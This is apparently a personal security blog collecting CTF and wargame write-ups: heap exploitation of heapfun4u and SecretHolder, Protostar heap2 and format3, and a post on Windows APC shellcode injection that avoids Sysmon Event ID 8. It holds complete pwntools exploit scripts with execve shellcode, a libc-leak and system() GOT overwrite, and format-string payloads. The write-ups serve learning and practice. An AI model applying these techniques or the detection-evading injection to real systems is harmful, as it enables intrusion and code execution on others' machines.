Monday 23 July 2018

Defcon Quals 2016 - heapfun4u

This is me doing past challenges to learn heap exploitation :-P

 Analysis


Let's have a look at the binary.

root@kali:~/Documents/ctf/heap-exploitation/UAF# file heapfun4u
heapfun4u: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped


This binary has a custom heap implementation which means a lot of buggy implementation. A few of them which I found was :

>>> The buffer was created my calling mmap and it would return a buffer with RWX permission.

root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: -1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7f91579b6008 -- -1
Write where:



>>> So we can see that we are able to create a buffer of size -1.


root@kali:~/Documents/ctf/heap-exploitation/UAF# ./heapfun4u
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 20
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7feb2c210008 -- 20
Index: 1
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| W
1) 0x7feb2c210008 -- 20
Write where: 1
Write what: AAAA
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit



>>> Being able to write to the buffer even after freeing it.

So let's try something with what we have. When we perform the following allocation :

    A = alloc(0x80)
    B = alloc(0x80)
    C = alloc(0x80)

and free the buffer A then the previous pointer of A points to the wilderness.

if we free the buffer in the order

    free(A)
    free(C)
    free(B)

Then the pointers would be arranged as:

    1) 0x7f78eb5ea008 -- 20
    2) 0x7f78eb5ea028 -- 20
    3) 0x7f78eb5ea048 -- 20


gdb-peda$ x/50gx 0x7f78eb5ea008

0x7f78eb5ea008: 0x0000000000000000      0x00007f78eb5ea040
0x7f78eb5ea018: 0x00007f78eb5ea020      0x000000000000001a
0x7f78eb5ea028: 0x0000000000000000      0x00007f78eb5ea000
0x7f78eb5ea038: 0x0000000000000000      0x0000000000000fb9
0x7f78eb5ea048: 0x0000000000000000      0x0000000000000000
0x7f78eb5ea058: 0x0000000000000000      0x0000000000000f98
0x7f78eb5ea068: 0x0000000000000000      0x0000000000000000
0x7f78eb5ea078: 0x0000000000000000      0x0000000000000000



So the buffer C gets forward coalesed, so the previous pointer of A starts pointing to again the wilderness, A's next pointer points to B and B's previous pointer points to A.

So if we try to overwrite the pointer by writing to the freed buffer to the location we want the allocation to happen(for eg: GOT), that would not work and we would get an error of the pointer not being valid because the header of the block requires a size and it tries to dereference the pointer located at [rax+0x8] which in any case (which i came across) would not be a valid pointer. I was stuck here for a very long time.


So to write to a location what we can do is :

To write a size to the fake buffer we can utilize the Free function because it allows to write up to 256 bytes.

case 'F':
        sub_40079D();
        printf("Index: ", &buf);
        v3 = &buf;
        if ( read(0, &buf, 256uLL) <= 0 )
          exit(0);
        v9 = atoi(&buf) - 1;
        if ( v9 < 0 || v9 > 99 )
          exit(0);
        if ( !*(&s + v9) )
          exit(0);
        free_buffer((__int64)*(&s + v9));
        break;



Since we are able to corrupt a doubly linked free list we can wite an arbitrary pointer to that address which will overwrite the saved return pointer with the address of the shellcode saved in a buffer. We can directly execute the shellcode even when NX is enabled as the buffer allocated has RWX permissions.

So making use of the no checking of the pointers in the doubly linked list we first free A and C.



And now when we free B, C get merged with B and its size also gets added to the size of buffer B.


So now what we do is when we first free A and C we overwrite the Bck pointer with ADDR(assume) so program assumes A is at address  ADDR and at addr there is a size such that ADDR + size - 0x8 points to saved RIP. So when we free B saved RIP gets overwritten with the addr of the buffer where shellcode is written.

Exploit



from pwn import *
p = process('./heapfun4u')

shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
shellcode+="\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
context.bits=64

def allocate(size):
    p.recvuntil('| ')
    p.sendline('A')
    p.recvuntil('Size: ')
    p.sendline(str(size))
    return

def write(where, what):
    p.recvuntil('| ')
    p.sendline('W')
    p.recvuntil('Write where: ')
    p.sendline(str(where))
    p.recvuntil('Write what: ')
    p.send(str(what))
    return

def free(idx):
    p.recvuntil('| ')
    p.sendline('F')
    leak = p.recvline()
    leak = leak.split(')')[1]
    leak = leak.strip()
    leak = int(leak[:14], 16)
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    return leak

def niceguy():
    p.recvuntil('| ')
    p.sendline('N')
    leak = p.recvline()
    leak = leak.split(':')[1]
    leak = leak.strip()
    leak = int(leak, 16) + 260
    return leak

def call_ret():
    p.recvuntil('| ')
    p.sendline('E')
    p.recvline()

allocate(50)
allocate(22550)
allocate(50)
allocate(50)

leak = niceguy()

log.info('Leak : {}'.format(hex(leak)))

write(2, shellcode)
payload = fit({0:"1",2:"\x00",240:pack(0x38)},filler="A",length=248)
free(payload)
free(3)
payload = fit({40:pack(leak),48:"\x00"*2},filler="A",length=50)
write(3, payload)
free(2)
call_ret()

p.interactive()

Saturday 14 July 2018

Hitcon 2016 - SecretHolder [unsafe-unlink Vulnerability]

After a long time a pwn challenge. This challenge is of 100 points and is a heap exploitation challenge.

Analysis


vagrant@vagrant:/vagrant/Hitcon2016$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
vagrant@vagrant:/vagrant/Hitcon2016$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret



So it is a 64-bit binary. Let's have a look in IDA.

    while ( 1 )
      {
        puts("1. Keep secret");
        puts("2. Wipe secret");

        puts("3. Renew secret");
        memset(&s, 0, 4uLL);
        read(0, &s, 4uLL);
        v3 = atoi(&s);
        switch ( v3 )
        {
              case 2:
                wipe_secret(&s, &s);
                break;
              case 3:
                renew_secret(&s, &s);
                break;
              case 1:
                keep_secret(&s, &s);
                break;
        }
      }



Keeping a secret note is done as

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    if ( v0 == 2 )
    {
        if ( !dword_6020B8 )
        {
            qword_6020A0 = calloc(1uLL, 0xFA0uLL);
            dword_6020B8 = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A0, 0xFA0uLL);
        }
    }
    else if ( v0 == 3 )
    {
        if ( !dword_6020BC )
        {
            qword_6020A8 = calloc(1uLL, 0x61A80uLL);
            dword_6020BC = 1;
            puts("Tell me your secret: ");
            read(0, qword_6020A8, 0x61A80uLL);
        }
    }
    else if ( v0 == 1 && !dword_6020C0 )
    {
        buf = calloc(1uLL, 0x28uLL);
        dword_6020C0 = 1;
        puts("Tell me your secret: ");
        read(0, buf, 0x28uLL);
    }



So it first checks to see whether the specific size of allocation is already done or not by quering a variable which either holds 1 or 0 for already allocated or freed buffer and then makes a request to calloc to allocate a zeroed memory in heap. The sizes of allocation for small, big and huge are 40, 4000, 40000 bytes respectively.

Let's have a look at wipe_secret function:

    read(0, &s, 4uLL);
    v0 = atoi(&s);
    switch ( v0 )
    {
        case 2:
            free(qword_6020A0);
            dword_6020B8 = 0;
            break;
        case 3:
            free(qword_6020A8);
            dword_6020BC = 0;
            break;
        case 1:
            free(buf);
            dword_6020C0 = 0;
            break;
    }



So the function first frees the buffer in which secret is kept and then zeroes out the variable assciated with the allocation of the variable. But wait, it does not check whether the buffer is already allocated or not and here lies the vulnerability. We can free a buffer twice and exploit the double-free(you can read more about double free here and here). A more detailed example can be found .here


First Step - Double Free


    1. Make a small allocation
    2. Free the small allocation
    3. Make a big allocation
    4. Free the small allocation <---- Double Free
    5. Make a small allocation

    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free
   
    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free
   
    Keepsecret(1, "C"*8)    # small allocate


For malloc the big allocation is free but we can still use it in our code to make a fake chunk to cause a unsafe-unlink of the chunks :)

Heap now looks like this

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000020fd1 <----Top chunk
    0xfeb040:       0x0000000000000000      0x0000000000000000


Now to make a fake chunk we have to make use of a huge allocation. As we know, for an allocation of very large size, allocation is done by mmap instead of malloc, which results in the allocation in a very high memory address and we don't want that. We want the allocation to happen just after the small allocation. For this we make a huge allocation, free it and again make the allocation.

    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate


This results the huge allocation just after the small allocation.

    gef➤  x/50gx 0x0000000000feb000                          
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x4343434343434343      0x000000000000000a
    0xfeb020:       0x0000000000000000      0x0000000000000000
    0xfeb030:       0x0000000000000000      0x0000000000061a91
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000
    0xfeb070:       0x0000000000000000      0x0000000000000000


Now, we can make use of the big allocation which according to malloc is free but we can use it to craft the fake chunk and perform an unlink attack.


Unsafe Unlink


For the unlink attack we make use of specially crafted chunks which contain the FD and BK pointers, having the following properties:

                                                P->fd->bk == P || P->bk->fd == P

and the next chunk's prev_in_use bit should be unset. So when we free the chunk unlink does its work by writing to pointers.

                                                    P->FD->BK = P->BK
                                                    P->BK->FD = P->FD

So when we craft the buffer like this
                                                 
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
 
    gef➤  x/50gx 0x0000000000feb000
    0xfeb000:       0x0000000000000000      0x0000000000000031
    0xfeb010:       0x0000000000000000      0x0000000000081ff1
    0xfeb020:       0x0000000000602098      0x00000000006020a0
    0xfeb030:       0x0000000000000020      0x0000000000061a90
    0xfeb040:       0x4646464646464646      0x4646464646464646
    0xfeb050:       0x4646464646464646      0x4646464646464646
    0xfeb060:       0x000000000000000a      0x0000000000000000


We are now writing to the address 0x60200B <--- 0x602098. Since 0x60200B is the address for the small allocation buffer, the small buffer now points to 0x602098 and we have full control over that buffer.

Leak LIBC


Let's now write some pointers to the small buffer. We try to make a GOT overwrite. This can be done by overwriting FREE_GOT with PUTS_PLT.
 
    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))


And then we give READ_PLT as parameter to the puts.

    RenewSecret(1, p64(read_got))

    gef➤  x/50gx 0x0000000000602090
    0x602090 <stdout>:      0x00007f8fd9923620      0x4141414141414141
    0x6020a0:       0x0000000000602040      0x4141414141414141
    0x6020b0:       0x00000000006020a0      0x0000000000000001

    gef➤  x/x 0x0000000000602040
    0x602040 <read@got.plt>:        0x00007f8fd9655250


    gef➤  x/x 0x0000000000602018                     
    0x602018 <free@got.plt>:        0x00000000004006c0
    gef➤  x/x 0x00000000004006c0                     
    0x4006c0 <puts@plt>:    0x01680020195a25ff       

Full Exploit

 

from pwn import *

small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006c0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070

p = process("./SecretHolder")

def Keepsecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('1')
    p.recvuntil("3. Huge secret\n")
    p.sendline(str(size))
    p.recvuntil("Tell me your secret:")
    p.sendline(data)

def Wipesecret(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline('2')
    p.recvuntil("Which Secret do you want to wipe?\n")
    p.sendline(str(size))

def RenewSecret(size, data):
    p.recvuntil("3. Renew secret\n")
    p.sendline('3')
    p.recvuntil('3. Huge secret\n')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(data)

def Pwn():
    Keepsecret(1, "A"*0x10) # small allocate
    Wipesecret(1)           # small free

    Keepsecret(2, "B"*0x20) # big allocate
    Wipesecret(1)           # small free


    Keepsecret(1, "C"*8)    # small allocate
    pause()
    Keepsecret(3, "E"*0x20) # huge allocate
    Wipesecret(3)           # huge free
    Keepsecret(3, "F"*0x20) # huge allocate

    pause()
    RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
    pause()
    Wipesecret(3)           # huge free

    RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
    RenewSecret(2, p64(puts_plt))
    RenewSecret(1, p64(read_got))
    pause()
    Wipesecret(2)

    leak = p.recv()
    #print leak
    leak = p.recvline()

    read_addr = u64(leak[:6] + "\x00\x00")
    log.info("read addr : " + hex(read_addr))
    libc_addr = read_addr - 0xf7250
    log.info("libc addr : " + hex(libc_addr))
    system_addr = libc_addr + 0x45390
    log.info("system addr : " + hex(system_addr))


    RenewSecret(1, p64(atoi_got) + "A"*8 + p64(big_secret) + p64(1))
    RenewSecret(2, p64(system_addr))

    p.interactive()

if __name__ == "__main__":
    Pwn()

Saturday 29 July 2017

Asynchronous Procedure Call Shellcode


1. Introduction
I have recently got into windows security and have been researching on this subject for last few days and during this time number of interesting facts(at least for me) have appeared. I have found many posts on the internet on this topic that includes game hacking forums, code project, etc. but the information is either outdated or the solution given is not clear. I am sure there would be many other and better ways to so - feel free to post your ideas below :)

The POC link is available at the bottom of the post.  

2. Theory

Ok, let's start with some basics. DLL injection has both the good side and the bad side. It is used to run code in the context of another process and as a result, the process executes the code. It can be used to patch the legitimate applications or can be used in games to get unlimited armor. One of the common techniques includes calling CreateRemoteThread to run the code as a separate process. But, this can be detected by Sysmon from Sysinternals. What this tool does is that it provides detailed information about process creations, network connections, and changes to file creation time which can be viewed from the Windows event viewer. 
There is a great post on this topic here. Instead of repeating the whole post I would summarize the points. So if you use CreateRemoteThread for Dll injection then it would raise a flag in sysmon as Event ID 8 which would tell you the process name as well as the base address of the shellcode that was injected into the process. If you haven't read the post, I strongly encourage you to read it first.

3. User-mode Asynchronous Procedure Call
APCs can be seen as POSIX signals in Linux, delivering information to POSIX processes. There are two kinds of APCs queues started with every thread: user mode and kernel mode. User mode APCs require permission from the current thread context to run whereas "special" kernel mode APCs do not require permission. 

Let's have a look at the definition of the QueueUserAPC function.


DWORD WINAPI QueueUserAPC(
_In_ PAPCFUNC pfnAPC,
_In_ HANDLE hThread,
_In_ ULONG_PTR dwData
);
The first parameter is a pointer to the callback function we want the process to execute. The handle to the thread defines the second parameter (which can be obtained by calling OpenThread()) and the third parameter can be set to NULL.

An example of how it would work in practice follows:
  1. Create a process in suspended mode.
  2. Allocate memory in remote process with flag PAGE_EXECUTE_READWRITE
  3. Write the shellcode to the memory allocated
  4. Open the thread with at least THREAD_SET_CONTEXT access rights.
  5. Use QueueUserAPC to point to callback function
  6. And at last call ResumeThread() to start executing the shellcode in the separate thread.  
So, the real work is done here by the QueueUserAPC() function. Let's have a look at the working of the function in a bit more detail. 

MSDN states that every thread has its own APC queue and operating system must use a software interrupt to redirect the execution of the thread to call the APC function. This can be seen just before we execute our calc.exe shellcode. 


 We can see here the next instruction that is going to be executed is sysenter.


calc.exe pops up

 The APC function would not be called unless it is in an alertable state.

4. Alertable State

When the thread enters an alertable state, the following events occur:
  1. The kernel checks the thread's APC queue. If the queue contains callback function pointers, the kernel removes the pointer from the queue and sends it to the thread.
  2. The thread executes the callback function.
  3. Steps 1 and 2 are repeated for each pointer remaining in the queue.
  4. When the queue is empty, the thread returns from the function that placed it in an alertable state.

5. Conclusion

No Event ID 8 log in sysmon :)
   
Proof of Concept code can now be downloaded from here

Thanks.

Friday 9 June 2017

Exploit Exercises - Protostar Heap 2

The heap2 challenge was a bit different as I had never done heap exploitation before. The challenge exploits one of the famous memory vulnerablilties use-after-free. Our goal is to get the string "you have logged in already" printed.

Lets start by understanding the code:

  
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>

    struct auth {
      char name[32];
      int auth;
    };

    struct auth *auth;
    char *service;

    int main(int argc, char **argv)
    {
      char line[128];

      while(1) {
          printf("[ auth = %p, service = %p ]\n", auth, service);

          if(fgets(line, sizeof(line), stdin) == NULL) break;
      
          if(strncmp(line, "auth ", 5) == 0) {
              auth = malloc(sizeof(auth));
              memset(auth, 0, sizeof(auth));
              if(strlen(line + 5) < 31) {
                  strcpy(auth->name, line + 5);
              }
          }
          if(strncmp(line, "reset", 5) == 0) {
              free(auth);
          }
          if(strncmp(line, "service", 6) == 0) {
              service = strdup(line + 7);
          }
          if(strncmp(line, "login", 5) == 0) {
              if(auth->auth) {
                  printf("you have logged in already!\n");
              } else {
                  printf("please enter your password\n");
              }
          }
      }
    }



The code uses safe fget() function and checks the size of the string using strlen() function before using strcpy(). If the code is using all of the safe functions, how are we going to expolit it? Well from the previous challenge we have learned that the value of the stored variable can be changed.

If we have a look at the above defined struct

    struct auth {
      char name[32];
      int auth;
    };
 
 
it does an allocation of 36(32 + 4) bytes when we do a pointer initialization (
struct auth *auth). 


strncmp() function compares the input from stdin and perform some action. When we input auth, it calls malloc() to allocate a size of auth bytes and zero out using memset(). Lets load the executable into gdb and set a breakpoint before malloc().

   ➜ protostar gdb -q heap2
   Reading symbols from heap2...(no debugging symbols found)...done.
   gdb-peda$ break *0x08048659
   Breakpoint 1 at 0x8048659
   gdb-peda$ r
   [------------------------------code------------------------------]
   0x8048657 <main>: jne 0x80486b6 <main>
   0x8048659 <main>: sub esp,0xc
   0x804865c <main>: push 0x4
   => 0x804865e <main>: call 0x8048480 <malloc@plt>
   0x8048663 <main>: add esp,0x10
   0x8048666 <main>: mov ds:0x804a048,eax
   0x804866b <main>: mov eax,ds:0x804a048
   0x8048670 <main>: sub esp,0x4
   Guessed arguments:
   arg[0]: 0x4

 
We see that the argument to malloc() is passed as 4, opposed to 36. Something is wrong here! Acutally the program calculates the size of the variable auth insted of struct auth which is 4 bytes. Okay, lets keep this in mind and move futher.

The reset command frees the auth variable. The login command checks the value of auth variable and if it is set other than 0, then we get our flag. And at last there is service command, which calls strdup() function.

By looking at the man page of strdup it tells us that -

The strdup() function returns a pointer to a new string which is a duplicate of the string s. Memory for the new string is obtained with malloc(3), and can be freed with free(3). 
 
So, lets try to see where memory gets allocated after we call strdup -

   ➜ protostar ./heap2
   [ auth = (nil), service = (nil) ]
   auth
   [ auth = 0x804b818, service = (nil) ]
   service
   [ auth = 0x804b818, service = 0x804b828 ] 



On first auth command, memory gets allocated at 0x804b818 and after that we invoke service command which return a pointer to memory at 0x804b828. Lets look at the disassembly where the condition if (auth->auth) gets checked.

   [------------------------------code------------------------------]
   0x8048734 <main>: test eax,eax
   0x8048736 <main>: jne 0x80485fa <main>
   0x804873c <main>: mov eax,ds:0x804a048
   => 0x8048741 <main>: mov eax,DWORD PTR [eax+0x20]

   0x8048744 <main>: test eax,eax
   0x8048746 <main>: je 0x804875d

   0x8048748 <main>: sub esp,0xc
   0x804874b <main>: push 0x8048837 



The address of auth first gets loaded into EAX register, which is 0x804b818 in this case and then the value of auth variable is calculated by [EAX+0x20] i.e., 0x804b818 + 32, which is true as the auth starts at 32th byte which is the address 0x804b838. This is where the magic of service command happens. If we run the auth command once and run service command twice, then we will be able to write at the location 0x804b838.

Lets try to run the executable again outside of gdb -


   ➜ protostar ./heap2
   [ auth = (nil), service = (nil) ]
   auth
   [ auth = 0x804b818, service = (nil) ]
   service
   [ auth = 0x804b818, service = 0x804b828 ]
   service
   [ auth = 0x804b818, service = 0x804b838 ]
   login
   you have logged in already!
   [ auth = 0x804b818, service = 0x804b838 ] 



At last we get our flags! :)

Sunday 4 June 2017

Exploit Exercises - Protostar Format 3

So recently I have been more into system security stuff, as it is one of my favourite topics. System security involves finding vulnerabilities and fixing them but for learning purposes we first have to exploit them. There are a number of labs or wargames available on the internet and one of them is from Exploit Exercises. These exercises teach you from buffer overflow exploitation to format strings and heap exploitation.

At this moment we will be going through how format string bug can be used to manupulate the stack. First few exercises of Format Strings were fairly simple. In Format3, you are supposed to change the value of the target variable to get the text you have modified the target :) printed.

The code is as follows:
  
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
} 
 

As you can see the above code is not vulnerable to buffer overflow as it uses fgets() function which calculates the size of the buffer before copying it into the buffer, but there is surely a mistake in the printbuffer() function. We can read arbitary memory stored on the stack if we give format strings as an input to it.

Lets now look at what is meant by arbitary memory read. If we give string as an argument we recieve back the same string and our target variable is not changed.


   ➜ protostar ./format3
   AAA
   AAA
   target is 00000000 :(
   ➜ protostar




What if we now supply a format string as an argument? Well just check it.


   ➜ protostar ./format3
   %x %x %x %x
   f7fedab0 f7e396eb 0 1
   target is 00000000 :(
   ➜ protostar




What could be these values? Lets just open format3 in GDB and place a breakpoint at printbuffer() function.


   ➜ protostar gdb -q format3
   Reading symbols from format3...done.
   gdb-peda$ break printbuffer
   Breakpoint 1 at 0x80484a1: file format3.c, line 10.


Lets have a look what the stack looks right now.


   gdb-peda$ x/32xw $esp
   0xffffcd14: 0xf7fedab0 0xf7e396eb 0x00000000 0x00000001
   0xffffcd24: 0xf7f95000 0xffffcf48 0x080484e7 0xffffcd40
   0xffffcd34: 0x00000200 0xf7f95580 0xf7fef8dc 0x25207825
   0xffffcd44: 0x78252078 0x0a782520 0xf7fef900 0x00000070
   0xffffcd54: 0xf7fd32e8 0xf7ffcfc4 0xf7fe1d20 0xf7fd7241
   0xffffcd64: 0xf7f3edb8 0x00000001 0xf7fe46d4 0xf7ffdab0
   0xffffcd74: 0xf7fd38d0 0x00000004 0x03ae75f6 0xf7fe3db7
   0xffffcd84: 0x00000000 0xf7fe1bf9 0xf7fd7128 0x00000007
   gdb-peda$


Now lets just continue the execution of the program.


   gdb-peda$ c
   Continuing.
   f7fedab0 f7e396eb 0 1
   target is 00000000 :(
   [Inferior 1 (process 10704) exited normally]
   Warning: not running or target is remote
   gdb-peda$


And indeed we can see that the first 4 values from the stack gets printed out to stdout. Now, what we have to do in this exercise it to change the value of the target variable. First task would be to get the address of target variable. This can be done with objdump -t format3 | grep target


   ➜ protostar objdump -t format3 | grep target
   0804a048 g O .bss 00000004 target


Now lets blindly try to input a dozen of %x with a few number of A's infront of it. I will use perl one-liner with the option -e.

   ➜ protostar echo AAAA`perl -e 'print "%x."x15'` | ./format3
  AAAAf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.41414141.252e7825.78252e78.2e78252e.
   target is 00000000 :(
   ➜ protostar


We can the see the 4 A's that we gave as an input as 41414141. What if we replace the A's with the address of the target variable. Remember that the address will be written in the little endian format.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x."x12'` | ./format3
   Hf7fedab0.f7e396eb.0.1.f7f95000.ffffcf88.80484e7.ffffcd80.200.f7f95580.f7fef8dc.804a048.
   target is 00000000 :(
   ➜ protostar


By looking at the printf() man page, it tells us that the %n format specifier can be used to the number of characters written so far to the address used as an argument. Since the target variable address is at the top, what if we replace the last %x with %n?


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580f7fef8dc
   target is 00000048 :(
   ➜ protostar


Look, we have just changed the value of the variable. Please pay attention here, since we are overwriting 2 bytes at a time starting from the least significant bit we cannot subtract any number to accomplish "44" from "48". The only thing we can do is doing an addition. You can calculate the value using a calculator. We count from 0x48 to 0xff and then add 0x44 to it. I was able to get the value by some by some trial and error.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580
   target is 00000144 :(
   ➜ protostar


Similarly, we have to change the next 2 bytes. I read some good papers (SCUT) and found a way out. You have to append some JUNK data and probably some padding of A's to identify the next location and everything would follow in the similar fashion.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAA" . "\x49\xa0\x04\x08" . "%x"x11'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAI7825782578257825782578257825782578257825303632254a6e2578414b4e554141414149414141250804a0
   target is 00000144 :(


As you can see I got the next address at the top. Lets just write to that address.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
   target is 0001a544 :(


Here we are getting "a5" as the next 2 bytes, that's roughly 90 bytes difference from "a5" to "ff" and adding "55" to it so, that would be 175 bytes and adding a few more bytes we get the desired value. 


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e554141414141414141
   target is 00025544 :(


Writing next 2 bytes is left as an exercise to the reader. At the end you would get the memory overwritten message.


   ➜ protostar echo `perl -e 'print "\x48\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%x%260x%n" . "JUNKAAAAAAAAA" . "\x49\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%184x%n" . "JUNKAAAAAAAAAAA" . "\x4a\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%x%82x%n" . "JUNKAAAAAAAA" . "\x4b\xa0\x04\x08" . "%x%x%x%x%x%x%x%x%175x%n"'` | ./format3
   Hf7fedab0f7e396eb01f7f95000ffffcf8880484e7ffffcd80200f7f95580 f7fef8dcJUNKAAAAAAAAA7825782578257825782578257825782578257825303632254a6e2578414b4e5541414141 41414141JUNKAAAAAAAAAAAJ7825782578257825782578257825782531257825257834384e554a6e4141414b41414141 41414141JUNKAAAAAAAAK78257825782578257825782578257825382578256e2578324b4e554a41414141 41414141
   you have modified the target :)


This is Awesome! :)